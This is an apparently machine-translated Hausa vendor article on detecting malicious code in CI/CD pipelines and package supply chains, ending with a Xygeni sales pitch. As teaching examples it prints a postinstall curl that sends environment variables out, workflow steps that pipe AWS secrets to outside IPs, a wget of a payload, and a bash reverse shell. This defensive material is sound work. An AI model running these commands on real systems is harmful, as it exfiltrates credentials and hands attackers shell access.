Idan kana aiki a ciki CI/CD pipelines, rubuta rubutun sarrafa kansa, ko kuma tabbatar da tsarin ginawa na zamani, gano lambar mugunta ba zaɓi bane; yana da matuƙar muhimmanci ga manufa. Hare-haren lambar mugunta ba wai kawai suna amfani da lokacin aiki ba ne; suna amfani da matakan ginawa, fakitin wasu kamfanoni, da ayyukan sarrafa kansa da kuke dogaro da su kowace rana.
Wannan labarin yana bincika waɗanne halaye ne ka iya nuna harin lambar mugunta da kuma yadda lambar cutarwa za ta iya yaɗuwa, musamman a cikin CI/CD muhalli. An tsara shi ne ga masu haɓakawa da ƙungiyoyin DevSecOps waɗanda ke da alhakin sarƙoƙin samar da software, gina atomatik, da kuma tabbatar da ayyukan aiki. Ta hanyar fahimtar waɗannan alamomi da hanyoyin kai hari, ƙungiyoyi za su iya gano barazanar da kyau kuma su taurare pipelines a kan sulhu.
Za ku koya yadda maharan ke saka barazana a cikin naka pipelines, waɗanne alamomi ya kamata a lura da su, da kuma yadda lambar mugunta za ta iya yaɗuwa a hankali ta hanyar ayyuka na yau da kullun kamar shigarwar dogaro da aiki ta atomatik. Bari mu raba siginar, daga zirga-zirgar fita ba zato ba tsammani zuwa PRs marasa amfani waɗanda ke lalata ayyukan CI, don haka za ku iya gano da kuma kawar da barazanar kafin su kai ga samarwa.
Menene Harin Lambobin da Ba Su Da Kyau?
Harin lambar mugunta shine lokacin da aka aiwatar da lambar cutarwa a cikin aikace-aikacen ku, gina pipeline, ko yanayin lokacin aiki. Muna magana ne game da dabaru da aka rubuta musamman ga:
- Sace sirri kamar maɓallan API da takaddun shaida
- Gyara kayan gini ko tura kayan da suka kamu da cutar
- Buɗe harsashi ko fitar da bayanai
Lambobin mugunta ba wai kawai kuskure ba ne. An yi su ne da niyya. Kuma galibi suna rayuwa ne a cikin kayan aikinku na yau da kullun: abubuwan dogaro, ayyukan CI, rubutun shigarwa.
Me yasa masu haɓaka software ya kamata su damu? Domin barazanar ba koyaushe take fitowa daga masu kai hari na waje waɗanda ke kaiwa APIs ɗinku ba. Lambobin mugunta suna saka kansu a cikin ayyukan da kuke gudanarwa kowace rana, kamar shigarwar npm ko gina Docker. Wannan shine ainihin yadda lambar mugunta za ta iya yaɗuwa a cikin saitin duniya na gaske.
Wanne daga cikin waɗannan zai iya nuna harin Code mai cutarwa? Alamomin Aiki ga Masu Haɓakawa
Idan kana mamakin wanne daga cikin waɗannan zai iya nuna harin lambar mugunta, amsar tana farawa da halaye masu kyau:
| Alamar (Alamar) | Example | Tushen Tushen | type |
|---|---|---|---|
| Cinkoson ababen hawa da ba a zata ba daga ginin | curl -X POST http://198.51.100.42 -d "$(env)" a cikin rubutun bayan shigarwa | Kunshin npm mara kyau | Alamar Gaskiya |
| Fayilolin da aka gyara ko aka ɓoye a cikin ma'ajiyar tushe | Tushe Mai Rufewa64 a cikin .github/workflows/build.yml | Yarjejeniyar sarkar samar da kayayyaki | Alamar Gaskiya |
| Sirrin da ayyukan da ba a zata ba ke shiga | Amfani da aikin CI mara izini ${{ secrets.AWS_SECRET_KEY }} | Daidaitawar IAM ko allurar da ba daidai ba | Alamar Gaskiya |
| Juya harsashi ko tsarin wget a cikin gini | bash -i >& /dev/tcp/... shellcode a cikin matakin CI | An takura pipeline script | Alamar Gaskiya |
| Kunshin da aka buga tare da rubutun shigarwa | lodashs or react-core-js yana gudanar da lambar da ba a zata ba | Ruɗani game da dogaro | Alamar Gaskiya |
| An buɗe CI/CD izini | Duk ayyukan zasu iya samun damar duk sirri | Saitunan tsoho marasa ƙarfi | Mummunan Aiki (Ba sigina ba ne) |
| Rashin duba ingancin fayil ɗin | Babu faɗakarwa lokacin da saitunan suka canza | Babu sa ido | Mummunan Aiki (Ba sigina ba ne) |
Zirga-zirgar hanyar sadarwa da ba a zata ba daga Ginawa Pipelines
Kwayar cututtuka: Ayyukan CI ɗinku ba zato ba tsammani suna magana da IPs ko domains na waje da ba a sani ba.
Example: Rubutun bayan shigarwa da aka lalace yana amfani da curl don aika masu canjin yanayi zuwa 198.51.100.42.
{
"scripts": {
"postinstall": "curl -X POST http://198.51.100.42 -d \"$(env)\""
}
}
Tushen Dalili: An ƙara wani mummunan dogaro da npm zuwa package.json ko kuma rubutun CI da aka canza.
type: Alamar Gaskiya
Yadda ake hana:
Toshe zirga-zirgar fitarwa ta tsohuwa a cikin masu gudu na CI ɗinku (misali, yi amfani da ƙa'idodin firewall ko manufofin hana-ta-tsari-fita)
Ƙara manufar hanyar sadarwa don ba da damar shiga takamaiman yankuna kawai:
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Allowlist specific domains
run: iptables -A OUTPUT -p tcp -d github.com -j ACCEPT
Fayilolin da aka Gyara ko Ba a Zata ba a cikin Ma'ajiyar Tushe
Kwayar cututtuka: Sabbin fayiloli ko rubutun suna bayyana a cikin ikon sarrafa tushe ba tare da cikakken bayani ba.
Example: An saka nauyin Base64 mai ɓoye a cikin package-lock.json ko .github/workflows/build.yml
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Unauthorized secret access
run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
Tushen Dalili: Lalacewar sarkar samar da kayayyaki ta hanyar amfani da hanyoyin sadarwa marasa kyau ko kuma dogaro da aka yi da su.
type: Alamar Gaskiya
Yadda ake hana:
Yi amfani da sa ido kan ingancin fayil ta atomatik (misali, Tripwire ko Git) hooks tare da cekin checksum)
Aiwatar da bita da hannu kan ayyukan aiki da canje-canjen fayil ta amfani da GitHub CODEOWNERS:
.github/workflows/* @security-team
package-lock.json @devops-lead
Tabbatar da jimillar abubuwan da aka sabunta dangane da su
Tsarin Amfani da Takardun Shaida marasa Mahimmanci
Kwayar cututtuka: Masu amfani da ba a zata ba, ayyuka, ko matakai suna shiga cikin sirrin a cikin asusunka pipeline.
Example: Rijistar Manajan Sirri yana nuna damar shiga daga aikin da bai kamata ya sami damar shiga ba.
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Unauthorized secret access
run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
Tushen Dalili: Manufofin IAM marasa tsari, takardun shaidar da aka ɓoye, ko kuma tsarin aikin CI.
type: Alamar Gaskiya
Yadda ake hana:Aiwatar da mafi ƙarancin gata a cikin manufofin samun dama (misali, aiki ɗaya = sirri ɗaya)
Kula da bayanan sirri na shiga da kuma saita faɗakarwa don amfani mara kyau
Yi amfani da ƙa'idodin kariyar muhalli na GitHub da sirrin da aka tsara:
environments:
production:
protection_rules:
required_reviewers:
- security-team
- Tabbatar da halayen aikin da ake tsammani ta amfani da duba manufofin atomatik (misali, OPA/Mai tsaron ƙofa)
Aiwatar da Tsarin Aiki mara kyau a cikin CI/CD ko Lokacin Aiki
Kwayar cututtuka: Ginawa ko aikace-aikacen da aka tura suna fara aiwatar da ayyuka da ba a zata ba.
Example: bash -c \"wget http://malicious.site/payload.sh\" yana bayyana yayin gini.
steps:
- name: Suspicious shell execution
run: bash -i >& /dev/tcp/malicious.site/4444 0>&1
Tushen Dalili: An yi allurar rubutun, juyewar harsashi, ko kuma an yi wa rauni pipeline matakai.
type: Alamar Gaskiya
Yadda ake hana:Yi amfani da jerin izini don umarni (misali, iyakance ga kayan aikin gini da aka amince da su kawai)
Rufe iyawar aiwatarwa a cikin CI ta hanyar gudanar da ayyuka a cikin ƙananan kwantena:
jobs:
build:
container:
image: secure-ci-image:latest
options: --cap-drop=ALL --no-new-privileges
- Duba don amfani da harsashi da kuma alamun da ba su da kyau ta amfani da CI-integrated linters da SAST
Dogaro Mai Ragewa da Aiwatar da Dokar Mummunan Aiki
Kwayar cututtuka: Shigar da rubutun ko sabuntawa suna gudanar da lambar da ba a ba da izini ba ba tare da niyyar ku ba.
Example: Kunshin da aka yi rubutu kamar lodashs or react-core-js yana gudanar da mummunan ƙugiya kafin shigarwa.
Tushen Dalili: Ruɗani game da dogaro ko amfani da rajistar da ba a amince da ita ba.
type: Alamar Gaskiya
Yadda ake hana:
Makullin dogaro da SBOM Tabbatarwa da kuma haɗa hash:
npm ci --prefer-offline --no-audit --ignore-scripts
amfani
.npmrcor.yarnrc.ymlzuwa jerin sunayen rajistar da aka amince da su:
registry=https://registry.npmjs.org/
always-auth=true
Ci gaba da amfani da fakitin duba bayanai SCA kayan aiki kamar Xygeni, OSV-Scanner, ko Dependabot
Gano Mafi Kyawun Kariyar Malware ta Buɗe Tushen
Kare Manhajar Buɗaɗɗiyar Tushenka daga Barazana Masu tasowa!
Ta Yaya Lambobin Mugunta Za Su Iya Yaɗuwa a Tsarin Aikin Masu Haɓaka?
Fahimtar yadda lambar mugunta za ta iya yaɗuwa tana taimaka maka ka yanke ta kafin ta fara samarwa:
- Fakitin buɗaɗɗen tushe da suka lalace (misali, kayan aikin npm/PyPI da suka kamu)
- Mal pull requests tare da ɓoyayyun abubuwan biyan kuɗi a cikin ayyukan aiki
- CI/CD rashin tsari (misali, PRs da ba a tabbatar da su ba suna gudanar da ayyuka)
- Barazanar cikin gida suna saka ƙofofi a baya yayin ci gaba na yau da kullun
Waɗannan duk suna nuna yadda lambar mugunta za ta iya yaɗuwa ba tare da haifar da faɗakarwa ta gargajiya ba.
Yadda Ake Ganowa da Hana Mummunan Lambobi a Cikin Pipelines da kuma Lambobin Sadarwa
Jerin Binciken Ganowa Cikin Sauri Don Alamun Lambobi Masu Mummunan Hali
| halayyar | Kayan Aikin Ganewa | CI/CD tip |
|---|---|---|
| Buƙatun hanyar sadarwa da ba a zata ba | Kula da ɗabi'u, rajistar fitarwa | Adireshin IP na Denylist, duba curl/amfani da wget |
| Kutse fayil ɗin YAML ko kullewa | Bin diddigin ingancin fayil, bambance-bambancen Git | Aiwatar da CODEOWNERS, sanar da kai game da canje-canjen manyan fayiloli |
| Samun damar sirri mara kyau | Bayanan shiga sirri, sanarwar IAM | Yi amfani da sirrin da aka ɓoye, aiwatar da mafi ƙarancin gata |
| Kashe harsashi ko kuma harsashi na baya | SAST, duba jerin izini | Taƙaita amfani da harsashi a cikin rubutun gini |
| Abubuwan dogaro masu ban mamaki | SCA, SBOM Ingancin | Yi amfani da hashes da aka kulle da kuma rajistar da aka amince da ita |
Kada ku jira sanarwar samarwa. Ga yadda masu haɓakawa da ƙungiyoyin DevSecOps za su iya gano wani mummunan harin lambar:
- Kula da ɗabi'a: Kama aiwatar da tsari na musamman, kiran hanyar sadarwa, ko canje-canje a cikin fayil ɗin CI/CD.
- Kula da dogaro: amfani SBOMs da kuma jerin sunayen da aka yarda da su don toshe ɗakunan karatu marasa tabbaci.
- Bin diddigin ingancin fayil: Gano rubutun da ba a ba da izini ba ko canje-canjen fayil ɗin saitin.
- Takaddun fita: Hana fitar da ruwa lokacin gini ta hanyar yin nazari da kuma toshe zirga-zirgar ababen hawa da ke fita.
- Nazarin da ke tsaye da kuma na zamani: Duba ta atomatik don dalilai masu shakku, kiraye-kirayen harsashi, ko lambobin sirri a cikin na'urarka pipelines.
Specificallyari musamman:
- Gwajin Tsaron Aikace-aikace Mai Tsayi (SAST): Zai iya gano mummunan dabaru ko lambar da aka ɓoye (misali, ɓoye base64, kiran harsashi mai zargi) kafin a taɓa aiwatar da shi. SAST kayan aikin ku a cikin CI/CD tsarin aiki yana taimakawa wajen daidaita yanayin zafi a cikin jiki pull requests da kuma commits.
- Binciken Tsarin Software (SCA): Yana gano fakitin da aka sani masu rauni ko kuma masu cutarwa yayin aikin warware dogaro. SCA kayan aiki suna taimaka maka toshe fakitin da aka yi rubutu a baya ko kuma waɗanda aka yi rubutu a baya a lokacin shigarwa, kafin su shiga yanayinka.
Duk waɗannan suna taimakawa wajen amsa tambayar: wanne daga cikin waɗannan zai iya nuna harin lambar mugunta, kuma wanne kawai hayaniya ce mai ban mamaki.
Abubuwan da Ya Kamata Masu Haɓaka Haɓaka Su Koya Daga Gaske
Ba kwa buƙatar zato; waɗannan hare-haren lambar mugunta sun riga sun faru, kuma kowannensu yana ba da darussa masu mahimmanci:
- Microsoft, Apple: Ruɗani ya kama shi, an yaudare shi ya cire fakitin cikin gida daga rajistar jama'a.
Takeaway: Yi amfani da rajistar masu zaman kansu kuma saita ƙudurin fakitin da aka bincika don hana rikicewar dogaro. - ua-parser-js: Shahararren kunshin npm ya yi nasarar tura masu hakar ma'adinai na crypto.
Takeaway: amfani SBOM Tabbatarwa da kuma haɗa dogaro da CI don guje wa sabunta fakitin da ba a tabbatar ba. - Rubuta rubutu akan PyPI: Fakitin da aka sanya wa suna kamar na gaske (misali, urlib3) don yaɗa masu satar bayanai.
Takeaway: Haɗa SCA kayan aiki don gano fakiti masu kama da suna da kuma tabbatar da abubuwan da suka dogara kafin shigarwa. - Bayanin hulɗa na GitHub: Masu kai harin sun gabatar da PRs waɗanda suka canza ayyukan CI a hankali zuwa leak secrets.
Takeaway: Aiwatar da tsauraran bita na PR don fayilolin aiki da amfani da masu lambar don canje-canje na saitunan CI.
Kowace shari'a tana nuna yadda lambar mugunta za ta iya yaɗuwa a cikin yanayin haɓakawa kafin a kai ga samarwa, kuma tana nuna ayyukan da za a iya aiwatarwa don dakatar da su da wuri.
Kammalawa: Masu Haɓaka Haɓaka Suna Kula da Gaban Yaƙi da Lambobin Mugaye
Harin lambar mugunta ba koyaushe yana nufin keta doka daga waje ba. Wani lokaci, maharin yana ɓuya a cikin akwatin gidan waya. nde_modules, ku kunshin-kulle.json, ko kuma ku Fayil ɗin .github/workflows.
Wanne daga cikin waɗannan zai iya nuna harin lambar da ba ta dace ba? Amsar tana cikin siginar yau da kullun da lambar ku da kayan aikin ku ke fitarwa.
Mallaki naka CI/CD. Ka kula da abubuwan da kake so. Yi alama da halaye masu ban mamaki. Da zarar ka gano da wuri, to, raguwar yaduwarsa
Yadda Xygeni ke Taimakawa Gano da Toshe Hare-haren Lambobi Masu Laifi a Faɗin DevOps
Idan malware ya bazu ta hanyar tsarin samar da software ɗinka, sau da yawa yakan yi latti kafin ya kai ga samarwa. Shi ya sa ganowa ta atomatik da wuri yake da mahimmanci. Xygeni's Tsarin Gargaɗi na Farko an tsara shi ne don kama fakitin cutarwa kafin su iya kamuwa da tushen lambar ku, CI/CD pipelines, ko muhallin girgije.
Ga yadda Xygeni yana ƙarfafa tsaronka:
Gargaɗin Farko Game da Malware na Zero-Day
Ba kamar na'urorin daukar hoto na gargajiya ba waɗanda ke dogara kawai da CVEs, Xygeni yana ci gaba da sa ido kan rajistar jama'a kamar npm, PyPI, Maven, da NuGet don gano halaye masu ban mamaki da kuma abubuwan da ba su dace ba na metadata. Da zarar kun nuna alamun ayyukan mugunta, za a yi masa alama, a killace shi, kuma a toshe shi daga shiga cikin na'urarka. SDLC.
- Yana gano malware a lokacin da aka buga shi
- Ta atomatik yana toshe nauyin biyan kuɗi na sifili da shigarwar da ake zargi hooks
- Yana aika faɗakarwa a ainihin lokaci ga ƙungiyoyin DevOps don tantancewa cikin sauri
An saka Kariyar Malware a cikin Kowane Mataki na DevOps
Ko dai lambar sirri ce da aka ɓoye a cikin rubutun bayan shigarwa, ko kuma wani mai satar bayanai na crypto da aka ɓoye a cikin dogaro na ɗan lokaci, ko kuma hoton kwantena mai ɓoyewa, Xygeni yana amfani da gano malware mai matakai da yawa a cikin lambar, abubuwan da suka dogara, CI/CD, Da kuma IaC:
- Binciken da ke tsaye wanda ke nuna alamun ƙofofin baya, trojans, da abubuwan da aka ɓoye kafin a tura su
- Tashar wuta ta dogara da tsaro wanda ke toshe fakitin Trojan da aka yi amfani da su tare da rubutun shigarwa mara kyau
- CI/CD kariya da ke hana juyewar harsashi da kuma yin allurar rigakafi a cikin ku pipelines.
Guardrails da kuma killace kai don dakatar da yaɗuwar cutar
Xygeni ba wai kawai yana gano malware ba ne, yana dakatar da shi. Idan aka gano wani fakitin da aka lalata:
- An killace shi nan take domin gujewa gurɓatar lokacin gini
- your pipelines na iya karya ginin ta atomatik ta amfani da manufofin tsaro masu daidaitawa na Xygeni
- An saka jerin sunayen da abin ya shafa a cikin jerin sunayen, har ma daga rajistar cikin gida ko ta masu zaman kansu.
Bincika kuma Ku Kasance Masu Sanin Halin Da Ya Faru
Xygeni yana ba da cikakken binciken bincike da kuma binciken tarihi na fakitin da ba su da kyau. Za ku sani:
- Lokacin da aka buga barazanar
- Yadda aka gano shi
- Ko ya isa wani ɓangare na tsarinka
Bugu da ƙari, ana bayyana barazanar da aka tabbatar a bainar jama'a don kare babban yankin buɗe tushen bayanai da kuma hana sake haifar da malware a cikin fakitin da aka sake masa suna ko aka yi wa lakabi da forked.
Kada Ka Bari Malware Ya Zame Ta Cikin Tsagayen
Daga masu haƙar ma'adinai masu ɓoye bayanai zuwa masu satar bayanai marasa tushe, Hare-haren lambobin mugunta suna ci gaba da sauriTsarin Gargaɗi na Farko na Xygeni yana tabbatar da cewa malware ba zai taɓa wuce matakan haɓakawa, ginawa, ko tura kayanka ba, kuma ƙungiyar ku tana samun sanarwa da kariya a ainihin lokaci.
Fara gwajin ku kyauta yanzu kuma ku kare DevOps ɗinku pipeline kafin hari na gaba ya zo!
